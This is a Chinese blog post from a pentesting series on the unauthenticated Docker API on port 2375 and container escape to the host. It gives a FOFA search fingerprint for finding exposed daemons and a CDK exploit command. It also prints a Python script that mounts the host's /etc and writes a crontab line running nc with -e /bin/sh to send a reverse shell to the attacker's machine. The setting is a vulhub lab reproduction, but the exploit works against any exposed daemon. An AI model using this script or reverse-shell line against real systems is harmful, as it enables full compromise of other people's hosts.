vlambda博客
学习文章列表

【云原生渗透】- Docker API 2375端口未授权访问容器逃逸漏洞

前言漏洞介绍漏洞利用    cdk关于该漏洞的exp    漏洞复现        环境准备        漏洞检测        漏洞利用

前言

Docker Daemon把服务暴露在tcp的2375端口上,常见docker端口包括:

2375:未加密的docker socket,远程root无密码访问主机2376:tls加密套接字,很可能这是您的CI服务器4243端口作为https 443端口的修改2377:群集模式套接字,适用于群集管理器,不适用于docker客户端5000:docker注册服务4789和7946:覆盖网络

漏洞介绍

Docker Daemon把服务暴露在tcp的2375端口上,这样就可以在网络上操作Docker了。Docker本身没有身份认证的功能,只要网络上能访问到服务端口,就可以操作Docker。与上面的docker.sock文件利用类似。

可以通过docker客户端的-H参数连接并控制目标暴露的2375端口服务:

-H, --host list          Daemon socket(s) to connect to

fofa指纹:app="docker-Daemon"

但会遇到本地docker client与目标docker server版本不兼容的问题,造成无法正常连接:

【云原生渗透】- Docker API 2375端口未授权访问容器逃逸漏洞

可以使用python库进行docker连接控制。

漏洞利用

cdk关于该漏洞的exp

攻击Docker API 2375未授权访问漏洞,控制宿主机的dockerd创建一个新容器,并挂在宿主机根目录/到容器内部/host,然后执行用户输入的指令来篡改宿主机的文件,比如可以写/etc/crontab来搞定宿主机。

./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"


【云原生渗透】- Docker API 2375端口未授权访问容器逃逸漏洞

漏洞复现

以下漏洞复现参考:

Docker API 未授权访问漏洞复现 | LuckySec

http://luckyzmj.cn/posts/a398fa24.html

环境准备

  • 靶机环境:192.168.126.130 (ubuntu)

  • 攻击环境:192.168.126.128 (kali)

在靶机上使用vulhub复现漏洞环境。

cd /vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

【云原生渗透】- Docker API 2375端口未授权访问容器逃逸漏洞

漏洞检测



【云原生渗透】- Docker API 2375端口未授权访问容器逃逸漏洞

漏洞利用

在kali上安装docker环境

apt-get install docker docker-compose
service docker start

在kali上开启nc监听本地1111端口,用来接收反弹的Shell



使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url='http://192.168.126.130:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.126.128 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

然后执行 python 脚本反弹Shell给Kali主机的1111端口。

python docker-hack.py

执行完脚本,耐心等待一会才会反弹shell到kali主机,大约一分多钟时间。